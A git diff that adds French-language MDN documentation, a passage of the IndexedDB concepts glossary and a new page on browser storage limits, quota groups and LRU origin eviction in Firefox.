+ <dd><span id="result_box" lang="fr"><span>Un référentiel d'informations, comprenant généralement un ou plusieurs objets de stockage.</span> <span>Chaque base de données doit avoir les éléments suivants</span></span> :
+ <ul>
+  <li>Name . <em>(nom)</em> Il identifie la base de données <span id="result_box" lang="fr"><span>dans une origine spécifique et reste constant tout au long de la durée de sa vie.</span> <span>Le nom peut être n'importe quelle valeur de chaîne de caractères (y compris une chaîne vide).</span></span></li>
+  <li>Current <a href="#gloss_version"><em>version</em></a> <em>(version actuelle)</em>. Lors de la création de la base de données, sa version est le nombre entier <code>1</code>. <span id="result_box" lang="fr"><span>Chaque base de données ne peut avoir qu'une seule version à un moment donné</span></span> .</li>
+ </ul>
+ </dd>
+ <dt><a name="durable">durable</a></dt>
+ <dd><span id="result_box" lang="fr"><span>Dans Firefox, IndexedDB était durable, ce qui signifie que dans une transaction readwrite <em>(lecture/écriture)</em> {{domxref ("IDBTransaction.on complet")}} était déclenché uniquement lorsque toutes les données étaient garanties, avant d'être écrites sur le disque.</span></span></dd>
+ <dd><span lang="fr"><span>À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées pour augmenter les performances (voir {{Bug ("1112702")}}) ; comportement identique à celui des autres navigateurs qui mettent en oeuvre IndexedDB. Dans ce cas, l'événement {{Event ("complete")}} est déclenché après la réception par le système d'exploitation de la commande d'écriture, mais potentiellement avant l'écriture effective de ces données sur le disque. L'événement peut donc être livré plus rapidement qu'avant, mais il existe un petit risque que la transaction entière soit perdue si le système d'exploitation l'écrase ou s'il y a une perte de puissance du système avant l'écriture sur le disque. Étant donné que ces événements catastrophiques sont rares, la plupart des consommateurs ne devraient pas nécessairement s'en préoccuper davantage.</span></span></dd>
+</dl>
+
+<div class="note">
+<p><span lang="fr"><span>Note : Dans Firefox, si vous souhaitez être sûr de la durabilité pour une raison ou une autre (par exemple, vous stockez des données critiques qui ne peuvent pas être recalculées plus tard), vous pouvez forcer une transaction d'écriture sur le disque avant la délivrance de l'évènement </span></span> <code>complete</code>  par la création d'une transaction utilisant le mode expérimental (non standard) <code>readwriteflush</code>  (voir {{domxref("IDBDatabase.transaction")}}).  Ceci est actuellement expérimental et ne peut être utilisé que si la préférence <code>dom.indexedDB.experimental</code> est renseignée avec " <code>true</code> " <em>(vrai)</em> dans <code>about:config</code>.</p>
+</div>
+
+<dl>
+ <dt></dt>
+ <dt><a name="gloss_object_store">object store <em>(objet de stockage)</em></a></dt>
+ <dd>
+ <p><span id="result_box" lang="fr"><span>Le mécanisme avec lequel les données sont stockées dans la base de données</span></span>. L'objet de stockage maintient constamment ses enregistrements, lesquels sont des paires  "key-value" <em>(clé-valeur)</em>. Les enregistrements dans l'objet de stockage sont triés dans l'ordre ascendant des "<em><a href="#gloss_key">keys"</a></em> <em>(clés)</em>.</p>
+
+ <p>Chaque objet de stockage doit avoir un nom qui est unique dans la base de données. Il peut éventuellement avoir un <em><a href="#gloss_keygenerator">key generator</a></em> (générateur de clé) et un <em><a href="#gloss_keypath">key path</a></em> <em>(chemin de clé)</em>. S'il a un "key path", il utilise <em><a href="#gloss_inline_key">in-line keys</a></em> <em>(clés en ligne)</em> ; sinon, il utilise <em><a href="#gloss_outofline_key">out-of-line keys</a></em> <em>(clé hors ligne)</em>.</p>
+
+ <p>Pour la documentation de référence sur les objets de stockage, voir <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBObjectStore" rel="internal">IDBObjectStore</a> ou <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>.</p>
+ </dd>
+ <dt><a name="gloss_version">version</a></dt>
+ <dd>À la première création de la base de données, sa version est le nombre entier <code>1</code>. <span id="result_box" lang="fr"><span>Chaque base de données possède une seule version à un moment donné ;</span> <span>il ne peut pas exister plusieurs versions dans le même temps.</span></span> La seule façon de changer la version est de l'ouvrir avec une version plus haute. Ceci démarre une <em>transaction</em> <code>VERSION_CHANGE</code> et lance un évènement <code>upgradeneeded</code>. <span id="result_box" lang="fr"><span>Le seul endroit où le schéma de la base de données peut être mis à jour est à l'intérieur du gestionnaire de cet événement</span></span>.</dd>
+ <dd>Note : Cette définition décrit les <a class="external external-icon" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">spécifications les plus récentes</a>, <span id="result_box" lang="fr"><span>qui ne sont implémentées que dans des navigateurs à jour.</span></span> <span id="result_box" lang="fr"><span>Les anciens navigateurs ont implémenté la méthode </span></span> <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="/en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a> <span id="result_box" lang="fr"><span>maintenant obsolète et supprimée</span></span>.</dd>
+ <dt><a name="gloss_database_connection">database connection<em> (connexion de la base de données)</em></a></dt>
+ <dd>Une opération créée en ouvrant une <em><a href="#gloss_database">database</a></em> <em>(base de données)</em>. <span id="result_box" lang="fr"><span>Une base de données peut avoir plusieurs connexions en même temps.</span></span></dd>
+ <dt><a name="gloss_transaction">transaction</a></dt>
+ <dd>
+ <p><span id="result_box" lang="fr"><span>Un ensemble atomique d'accès aux données et d'opérations de modification des données sur une base de données particulière.</span> <span>C'est la façon dont vous interagissez avec les données dans une base.</span> <span>En fait, toute lecture ou changement dans la base de données doit se produire dans une transaction.</span></span></p>
+
+ <p><span id="result_box" lang="fr"><span>Une connexion à la base de données peut avoir plusieurs transactions actives associées à la fois, pourvu que les transactions d'écriture n'aient pas de chevauchement</span></span> <a href="#gloss_scope"><em>scopes</em></a>. <span id="result_box" lang="fr"><span>La portée (scope) des transactions, qui est définie lors de la création, détermine l'objet avec lequel la transaction peut interagir, et reste constante pour la durée de vie de la transaction.</span></span> <span id="result_box" lang="fr"><span>Ainsi, par exemple, si une connexion à la base de données a déjà une transaction d'écriture avec une portée qui couvre simplement l'objet de stockage </span></span> <code>flyingMonkey</code> <span lang="fr"><span>, vous pouvez commencer une seconde transaction avec une portée sur les objets de stockage unicornCentaur et unicornPegasus.</span> <span>En ce qui concerne les transactions de lecture, vous pouvez en avoir plusieurs - même avec chevauchements.</span></span></p>
+
+ <p><span id="result_box" lang="fr"><span>Les transactions doivent être de courte durée, pour que le navigateur puisse mettre fin à une transaction trop longue, afin de libérer des ressources de stockage verrouillées par cette dernière.</span> <span>Vous pouvez annuler la transaction, ce qui modifie les changements apportés à la base de données dans la transaction.</span> <span>Et vous n'avez même pas à attendre que la transaction commence ou soit active pour l'annuler.</span></span></p>
+
+ <p>Les trois modes de transaction sont : " <code>readwrite</code> " <em>(lecture/écriture)</em>, " <code>readonly</code> " <em>(lecture seule)</em>, et " <code>versionchange</code> " <em>(changement de version)</em>. La seule manière de créer et supprimer les objets de stockage et les index est d'utiliser une transaction <a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/versionchange_indexedDB"><code>versionchange</code></a> . Pour en apprendre plus sur les types de transactions, voir l'article de référence pour <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a>.</p>
+
+ <p><span id="result_box" lang="fr"><span>Parce que tout se passe au sein d'une transaction, c'est un concept très important dans IndexedDB.</span> <span>Pour en savoir plus sur les transactions, en particulier sur la façon dont elles se rapportent aux versions, voir</span></span> <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBTransaction"> IDBTransaction</a>, <span class="short_text" id="result_box" lang="fr"><span>qui a également une documentation de référence</span></span> . Pour la documentation sur l'API synchrone, voir <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBTransactionSync" rel="internal">IDBTransactionSync</a>.</p>
+ </dd>
+ <dt><a name="gloss_request">request <em>(requêtes)</em></a></dt>
+ <dd><span id="result_box" lang="fr"><span>L'opération par laquelle la lecture et l'écriture sur une base de données est effectuée.</span> <span>Chaque requête représente une opération de lecture ou d'écriture.</span></span></dd>
+ <dt><a name="gloss_index">index</a></dt>
+ <dd>
+ <p><span id="result_box" lang="fr"><span>Un index est un objet de stockage spécialisé pour rechercher des enregistrements dans un autre objet de stockage appelé "</span></span> <em>referenced object store"</em>  <em>(objet de stockage référencé)</em><span lang="fr"><span>.</span> <span>L'index est un stockage persistant de key-value <em>(clé-valeur)</em>  dans lequel la partie "value" des enregistrements contient la partie "key" d'un enregistrement de l'objet de stockage référencé.</span> <span>Les enregistrements dans un index sont automatiquement remplis chaque fois que ceux de l'objet référencé sont insérés, mis à jour ou supprimés.</span> <span>Chaque enregistrement d'un index ne peut indiquer qu'un seul enregistrement dans son objet référencé, mais plusieurs index peuvent référencer le même objet.</span> <span>Lorsque l'objet référencé change, tous les index qui s'y réfèrent sont mis à jour automatiquement.</span></span></p>
+
+ <p><span id="result_box" lang="fr"><span>Vous pouvez également rechercher des enregistrements dans un objet de stockage en utilisant la</span></span> <a href="#gloss_key">clé</a><em>.</em></p>
+
+ <p>Pour en apprendre plus sur l'utilisation des index, voir <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="en/IndexedDB/Using_IndexedDB#Using_an_index">Using IndexedDB</a>. Pour la documentation de référence sur l'index, voir <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>.</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">Key and value <em>(clé et valeur)</em></h3>
+
+<dl>
+ <dt><a name="gloss_key">key <em>(clé)</em></a></dt>
+ <dd>
+ <p><span id="result_box" lang="fr"><span>Une valeur de données par laquelle les valeurs stockées sont organisées et récupérées dans l'objet de stockage .</span> <span>Celui-ci peut obtenir la clé de l'une des trois sources : un générateur de clés, un chemin de clé et une valeur explicitement spécifiée.</span> <span>La clé doit être d'un type de données qui a un nombre supérieur au précédent.</span> <span>Chaque enregistrement doit avoir une clé unique dans l'objet de stockage, de sorte que celui-ci ne peut comporter plusieurs enregistrements avec la même clé.</span></span></p>
+
+ <p><span class="short_text" id="result_box" lang="fr"><span>Une clé peut être de l'un des types suivants</span></span> : <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a> <em>(chaîne de caractères)</em>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, float <em>(flottante)</em>, binary blob <em>(blob binaire)</em> et <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array" title="en/JavaScript/Reference/Global Objects/Array">array</a> <em>(tableau)</em>. Pour les tableaux, <span class="short_text" id="result_box" lang="fr"><span>la valeur de la clé peut être comprise entre vide et l'infini</span></span>. Et vous pouvez inclure un tableau dans un tableau.</p>
+
+ <p>Vous pouvez également rechercher des enregistrements dans un objet de stockage en utilisant l'<em><a href="#gloss_index">index</a>.</em></p>
+ </dd>
+ <dt><a name="gloss_keygenerator">key generator<em> (générateur de clé)</em></a></dt>
+ <dd>Un mécanisme pour produire de nouvelles clés dans une séquence ordonnée. Si un objet de stockage n'a pas de générateur de clé, l'application doit fournir les clés des enregistrements stockés. Les générateurs ne sont pas partagés entre les objets de stockage. <span id="result_box" lang="fr"><span>Il s'agit d'un détail concernant les navigateurs, car dans le développement web, vous ne créez pas réellement ou ne gérez pas les accès aux générateurs de clés.</span></span></dd>
+ <dt><a name="gloss_inline_key">in-line key <em>(clé en ligne)</em></a></dt>
+ <dd>Une clé qui est stockée comme partie d'une valeur de stockage. Elle est trouvée en utilisant "<em>key path" (chemin de clé)</em>. Une clé en ligne peut être créée par un générateur. Une fois la clé générée, elle peut être stockée dans la valeur utilisant le "key path" ou être utilisée comme clé.</dd>
+ <dt><a name="gloss_outofline_key">out-of-line key <em>(clé hors ligne)</em></a></dt>
+ <dd>Une clé stockée séparément de la valeur stockée.</dd>
+ <dt><a name="gloss_keypath">key path <em>(chemin de clé)</em></a></dt>
+ <dd><span id="result_box" lang="fr"><span>Définit où le navigateur doit extraire la clé d'une valeur dans l'objet de stockage ou l'index.</span> <span>Un chemin de clé valide peut inclure l'un des éléments suivants : une chaîne vide, un identifiant JavaScript ou plusieurs identifiants JavaScript séparés par des périodes, ou un tableau contenant ces éléments.</span> <span>Il ne peut pas inclure d'espaces.</span></span></dd>
+ <dt><a name="gloss_value">value <em>(valeur)</em></a></dt>
+ <dd>
+ <p><span id="result_box" lang="fr"><span>Chaque enregistrement a une valeur, qui peut inclure tout ce qui peut être exprimé en JavaScript, y compris</span></span> : <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Boolean" rel="internal" title="en/JavaScript/Reference/Global_Objects/Boolean">boolean</a> <em>(bouléen)</em>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number" rel="internal" title="en/JavaScript/Reference/Global_Objects/Number">number</a><em> (nombre)</em>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a> <em>(chaîne de caractères)</em>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object" title="en/JavaScript/Reference/Global Objects/Object">object</a> <em>(objet)</em>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array" title="en/JavaScript/Reference/Global Objects/Array">array</a> <em>(tableau)</em>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp" rel="internal" title="en/JavaScript/Reference/Global_Objects/RegExp">regexp</a>, <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/undefined" title="en/JavaScript/Reference/Global_Objects/undefined">undefined</a> <em>(indéfini)</em>, and null <em>(nul)</em>.</p>
+
+ <p>Quand un objet ou un tableau est stocké, les propriétés et valeurs dans cet objet ou ce tableau peuvent aussi être toute valeur valide.</p>
+
+ <p><a href="https://developer.mozilla.org/fr/docs/Web/API/Blob" title="en/DOM/Blob">Blobs</a> et fichiers peuvent être stockés, voir <a class="external external-icon" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">specification</a> {{ fx_minversion_inline("11") }}.</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">Intervalle et portée</h3>
+
+<dl>
+ <dt><a name="gloss_scope">scope (<em>portée ou étendue</em>)</a></dt>
+ <dd><span id="result_box" lang="fr"><span>L'ensemble des objets de stockage et index auxquels s'applique une transaction.</span> <span>Les portées des transactions en lecture seule peuvent se chevaucher et s'exécuter en même temps.</span> <span>Par contre, les portées des transactions d'écriture ne peuvent pas se chevaucher.</span> <span>Vous pouvez toujours démarrer plusieurs transactions avec la même portée en même temps, mais elles entrent dans une file d'attente et s'exécutent l'une après l'autre.</span></span></dd>
+ <dt><a name="gloss_cursor">cursor <em>(curseur)</em></a></dt>
+ <dd>Un mécanisme <span id="result_box" lang="fr"><span>pour l'itération de plusieurs enregistrements avec une </span></span> <em>"key range"</em> <span lang="fr"><span><em>(intervalle de clés</em>).</span> <span>Le curseur possède une source qui indique quel index ou objet stocké est itéré.</span> <span>Il a une position dans l'intervalle et se déplace dans une direction qui augmente ou diminue dans l'ordre des clés d'enregistrement.</span> <span>Pour la documentation de référence sur les curseurs, voir</span></span> <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBCursor" rel="internal">IDBCursor</a> ou <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBCursorSync" rel="internal">IDBCursorSync</a>.</dd>
+ <dt><a name="gloss_key_range">key range <em>(intervalle de clés)</em></a></dt>
+ <dd>
+ <p><span id="result_box" lang="fr"><span>Un intervalle continu sur un type de données utilisé pour les clés.</span> <span>Les enregistrements peuvent être récupérés à partir des objets de stockage et des index à l'aide de touches ou d'un intervalle de clés.</span> <span>Vous pouvez limiter ou filtrer l'intervalle en utilisant les limites inférieures et supérieures.</span> <span>Par exemple, vous pouvez itérer sur toutes les valeurs d'une clé entre x et y.</span></span></p>
+
+ <p>Pour la documentation de référence sur "key range", voir <a href="https://developer.mozilla.org/fr/docs/Web/API/IDBKeyRange" rel="internal">IDBKeyRange</a>.</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">Limitations</h2>
+
+<p>IndexedDB <span id="result_box" lang="fr"><span>est conçu pour couvrir la plupart des cas qui nécessitent un stockage côté client.</span> <span>Cependant, il n'est pas adapté pour quelques cas comme les suivants :</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="fr"><span>Tri par classement international .</span> <span>Toutes les langues ne trient pas les chaînes de la même manière, de sorte que le classement ne peut être internationalisé.</span> <span>Bien que la base de données ne puisse pas stocker des données dans un ordre spécifiquement international, vous pouvez trier les données que vous avez déjà lues sur votre base de données.</span> <span>Notez, cependant, que le </span></span><a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB#Locale-aware_sorting">locale-aware sorting</a> <span lang="fr"><span> a été autorisée avec un indicateur expérimental activé (actuellement pour Firefox uniquement) depuis Firefox 43.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Synchronisation .</span> <span>L'API n'est pas conçue pour prendre en charge la synchronisation avec une base de données côté serveur.</span> <span>Vous devez écrire un code qui synchronise une base de données indexedDB côté client avec une base de données côté serveur.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Recherche de texte intégral .</span> <span>L'API n'a pas d'équivalent à l'opérateur </span></span> <span style="direction: ltr;"><code>LIKE</code></span> <span lang="fr"><span> en SQL.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="fr"><span>En outre, sachez que les navigateurs peuvent effacer la base de données, comme dans les conditions suivantes</span></span> :</p>
+
+<ul>
+ <li><span id="result_box" lang="fr"><span>L'utilisateur demande un effacement.</span> <span>De nombreux navigateurs ont des paramètres qui permettent aux utilisateurs d'effacer toutes les données stockées pour un site Web donné, y compris les cookies, les signets, les mots de passe stockés et les données IndexedDB.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Le navigateur est en mode de navigation privée.</span> <span>Certains navigateurs ont des modes "navigation privée" (Firefox) ou "incognito" (Chrome).</span> <span>À la fin de la session, le navigateur efface la base de données.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="fr"><span>La limite de disque ou de quota a été atteinte.</span></span></li>
+ <li>Les données sont corrompues.</li>
+ <li><span id="result_box" lang="fr"><span>Un changement incompatible est apporté à la fonctionnalité.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="fr"><span>Les circonstances exactes et les capacités du navigateur changent au fil du temps, mais la philosophie générale des fournisseurs de navigateurs est de faire les efforts nécessaires pour conserver les données lorsque c'est possible.</span></span></p>
+
+<h2 id="next" name="next">Étape suivante</h2>
+
+<p><span id="result_box" lang="fr"><span>Avec ces grands concepts dans nos poches, nous pouvons obtenir des choses plus concrètes.</span> <span>Pour un tutoriel sur l'utilisation de l'API, voir</span></span> <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB"> Using IndexedDB</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Spécification</p>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/"><span style="direction: ltr;">Indexed Database API Specification</span></a></li>
+</ul>
+
+<p>Référence</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+</ul>
+
+<p>Tutoriels</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Using IndexedDB</a></li>
+</ul>
+
+<p>Article connexe</p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
diff --git a/files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html b/files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html
new file mode 100644
index 0000000000..bfa95657cc
--- /dev/null
+++ b/files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html
@@ -0,0 +1,139 @@
+---
+title: Limites de stockage du navigateur et critères d'éviction
+slug: Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria
+tags:
+  - Base de données
+  - IndexedDB
+  - LRU
+  - Limites
+  - Stockage
+  - eviction
+translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria
+---
+<div>{{DefaultAPISidebar("IndexedDB")}}</div>
+
+<div class="note">
+<p>Il existe un certain nombre de technologies Web qui stockent des données d'un type ou d'un autre du côté client (c'est-à-dire sur le disque local). Le processus par lequel le navigateur calcule l'espace alloué au stockage de données Web et les données à supprimer quand la limite est atteinte n'est pas simple et diffère d'un navigateur à l'autre. Cet article tente d'expliquer comment tout cela fonctionne.</p>
+</div>
+
+<div class="note">
+<p><strong>Note </strong>: Les informations ci-dessous devraient être assez précises pour la plupart des navigateurs modernes, mais les spécificités du navigateur sont évoquées quand elles sont connues. Opera et Chrome devraient se comporter de la même manière dans tous les cas. Mais <a href="http://www.opera.com/mobile/mini">Opera Mini</a> (encore basé sur presto du côté serveur) ne stocke aucune donnée sur le client.</p>
+</div>
+
+<h2 id="Les_différents_types_de_stockage_des_données">Les différents types de stockage des données</h2>
+
+<p>Même dans le même navigateur, en utilisant la même méthode de stockage, il existe différentes classes de stockage de données à comprendre. Cette section traite des différents types que vous pouvez trouver dans différents navigateurs.</p>
+
+<p>Généralement, les deux principaux types de stockage sont les suivants :</p>
+
+<ul>
+ <li>Persistant : ce sont des données qui doivent être conservées pendant une longue période. Elles ne seront évincéés que si l'utilisateur le choisit (par exemple, dans Firefox, il existe un bouton "nettoyer stockage" dans la boîte de dialogue d'informations sur la page pour chaque page).</li>
+ <li>Temporaire : il s'agit de données qui n'ont pas besoin de persister très longtemps. Elles seront évacuées en-dessous d'un minimum d'utilisation ({{anch("LRU policy")}}) lorsque les limites de stockage sont atteintes.</li>
+</ul>
+
+<p>Par défaut, le stockage temporaire sera utilisé dans la plupart des contextes d'utilisation (par exemple, des applications Web standard) et le persistant pour les applications installées (par exemple, les applications Firefox installées sur le système d'exploitation Firefox OS / Firefox de bureau, les applications Chrome).</p>
+
+<h3 id="Spécificités_de_Firefox">Spécificités de Firefox</h3>
+
+<p>Dans Firefox, vous pouvez choisir le type de stockage que vous souhaitez utiliser en incluant une option propriétaire — <code>storage</code> — lorsque vous créez une base de données IndexedDB en utilisant {{domxref ("IDBFactory.open ()", "open ()")}} :</p>
+
+<ul>
+ <li>
+  <pre class="brush: js"><code>var request = indexedDB.open("myDatabase", { version: 1, storage: "persistent" });</code></pre>
+ </li>
+ <li>
+  <pre class="brush: js"><code>var request = indexedDB.open("myDatabase", { version: 1, storage: "temporary" });</code></pre>
+ </li>
+</ul>
+
+<p>Dans Firefox, quand le stockage persistant est choisi, l'utilisateur reçoit une fenêtre de dialogue d'interface utilisateur pour l'avertir que ces données persisteront et lui demander s'il en est satisfait.</p>
+
+<p>Les données de stockage temporaire ne provoquent aucune fenêtre de dialogue vers l'utilisateur, mais il y a des {{anch("Limites de stockage")}}.</p>
+
+<h3 id="Default_storage_dans_Firefox_(stockage_par_défaut)">"Default storage" dans Firefox <em>(stockage par défaut)</em></h3>
+
+<p>C'est le troisième type de stockage à envisager dans Firefox — "Default storage" <em>(stockage par défaut)</em>.  C'est une option par défaut, utilisée quand vous ne spécifiez pas le paramètre <code>storage</code>  vu ci-dessus. Les données du stockage par défaut se comportent différemment selon les circonstances : assimilées aux données d'un stockage persistant pour les applications installées de Firefox OS, ou d'un stockage temporaire pour tout autre type d'utilisation.</p>
+
+<h2 id="Où_sont_stockées_les_données">Où sont stockées les données ?</h2>
+
+<p>Chaque type de stockage représente un référentiel distinct, voici la cartographie réelle des répertoires sous le profil Firefox d'un utilisateur (d'autres navigateurs peuvent différer légèrement) :</p>
+
+<ul>
+ <li><code>&lt;profile&gt;/storage</code> — le principal, le plus haut niveau de répertoire pour le stockage maintenu par le " quota manager " <em>(manager de quotas)</em> (voir ci-dessous).</li>
+ <li><code>&lt;profile&gt;/storage/permanent</code> — répertoire de stockage des données persistantes.</li>
+ <li><code>&lt;profile&gt;/storage/temporary</code> — répertoire de stockage des données temporaires.</li>
+ <li><code>&lt;profile&gt;/storage/default</code> — répertoire de stockage des données par défaut.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong>  Depuis l'introduction de l' <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_API">API Storage</a> , le dossier "permanent" peut être considéré comme obsolète, il n'est plus utilisé que pour les bases de données de type persistant IndexedDB. Peu importe le mode, "best-effort"<em> (meilleur effort)</em> ou "persistant", les données sont stockées sous <code>&lt;profile&gt;/storage/default</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Dans Firefox, vous pouvez trouver votre dossier profil en entrant : <code>support</code> dans la barre d'URL et en appuyant sur le bouton <em>Show in..</em>. <em>(</em><em>Afficher dans ...)</em> (par exemple, <em>"Show in Finder"</em> sur Mac OS X) à côté du titre <em>"Profile Folder" (</em><em>dossier de profil)</em> .</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Si vous regardez dans votre profil les répertoires de données stockées, vous pouvez voir un quatrième dossier : <code>persistent</code> . À la base, le dossier <code>persistent</code> a été renommé <code>permanent,</code> il y a quelques temps, pour faciliter les mises à niveau / migrations.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Les utilisateurs ne doivent pas ajouter leurs propres répertoires ou fichiers sous <code>&lt;profile&gt;/storage</code> . Cela entraînerait l'échec de l'initialisation du stockage ; par exemple {{domxref ("IDBFactory.open ()", "open ()")}} déclencherait un événement d'erreur.</p>
+</div>
+
+<h2 id="Limites_de_stockage">Limites de stockage</h2>
+
+<p>L'espace de stockage maximal du navigateur est dynamique  — il est basé sur la taille de votre disque dur. La limite globale est calculée sur la base de 50% de l'espace disque libre. Dans Firefox, un outil interne du navigateur appelé " Quota Manager " <em>(gestionnaire de quotas)</em> surveille la quantité d'espace disque utilisée par chaque origine et supprime les données si nécessaire.</p>
+
+<p>Donc, si votre disque dur est de 500 Go, le stockage total d'un navigateur est de 250 Go. S'il est dépassé, une procédure appelée <strong>"origin eviction"</strong> <em>(</em><em>éviction d'origine)</em> entre en jeu, en supprimant la valeur totale de l'origine jusqu'à ramener le niveau de stockage en-dessous de la limite. La suppression d'une base de données d'origine peut entraîner des problèmes d'incohérence.</p>
+
+<p>Il y a aussi une autre limite appelée <strong>group limit</strong> — ceci est défini comme 20% de la limite globale. Chaque origine fait partie d'un groupe (groupe d'origines). Il existe un groupe pour chaque domaine eTLD + 1.</p>
+
+<p>Par exemple :</p>
+
+<ul>
+ <li><code>mozilla.org</code> — groupe1, origine1</li>
+ <li><code>www.mozilla.org</code> — groupe1, origine2</li>
+ <li><code>joe.blogs.mozilla.org</code> — groupe1, origine3</li>
+ <li><code>firefox.com</code> — groupe2, origine4</li>
+</ul>
+
+<p>Ces groupes, <code>mozilla.org</code>, <code>www.mozilla.org</code>, et <code>joe.blogs.mozilla.org</code> peuvent utiliser globalement un maximum de 20% de la limite globale. <code>firefox.com</code> a un maximum distinct de 20%.</p>
+
+<p>Les deux limites reagissent différemment quand la limite est atteinte :</p>
+
+<ul>
+ <li>La limite de groupe est également appelée «limite dure»: elle ne déclenche pas l'éviction d'origine.</li>
+ <li>La limite globale est une «limite douce» car il est possible que certains espaces soient libérés et que l'opération puisse se poursuivre.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Si la limite de groupe est dépassée, ou si l'éviction d'origine ne crée pas assez d'espace libre, le navigateur lance  <code>QuotaExceededError</code>.</p>
+</div>
+
+<h2 id="Politique_LRU">Politique LRU</h2>
+
+<p>Lorsque l'espace disque disponible est rempli, le gestionnaire de quotas commence à effacer les données sur la base de la politique LRU — l'origine la moins utilisée sera d'abord supprimée, puis la suivante, jusqu'à ce que le navigateur ne dépasse plus la limite.</p>
+
+<p>Nous traçons le "dernier temps d'accès" pour chaque origine utilisant le stockage temporaire. Une fois que la limite globale du stockage temporaire est atteinte, nous essayons de trouver toutes les origines actuellement inutilisées (c'est-à-dire, sans onglets ou applications ouverts qui conservent des bases de données ouvertes). Celles-ci sont ensuite triées sur le dernier accès. Les origines les moins récemment utilisées sont ensuite supprimées jusqu'à ce qu'il y ait suffisamment d'espace pour répondre à la demande qui a déclenché cette éviction d'origine.</p>
+
+<h2 id="Quelles_technologies_utilisent_le_stockage_de_données_du_navigateur">Quelles technologies utilisent le stockage de données du navigateur ?</h2>
+
+<p>Dans Firefox, les technologies suivantes utilisent le stockage de données du navigateur pour stocker des données au besoin. Nous les qualifions de "quota clients" dans ce contexte :</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB">IndexedDB</a></li>
+ <li><a href="http://asmjs.org/">asm.js</a> caching</li>
+ <li><a href="/fr/docs/Web/API/Cache">Cache API</a></li>
+</ul>
+
+<p>Le «dernier temps d'accès» des origines est mis à jour lorsque l'un de ces éléments est activé / désactivé. L'éviction d'origine supprimera les données pour tous ces "quota clients".</p>
+
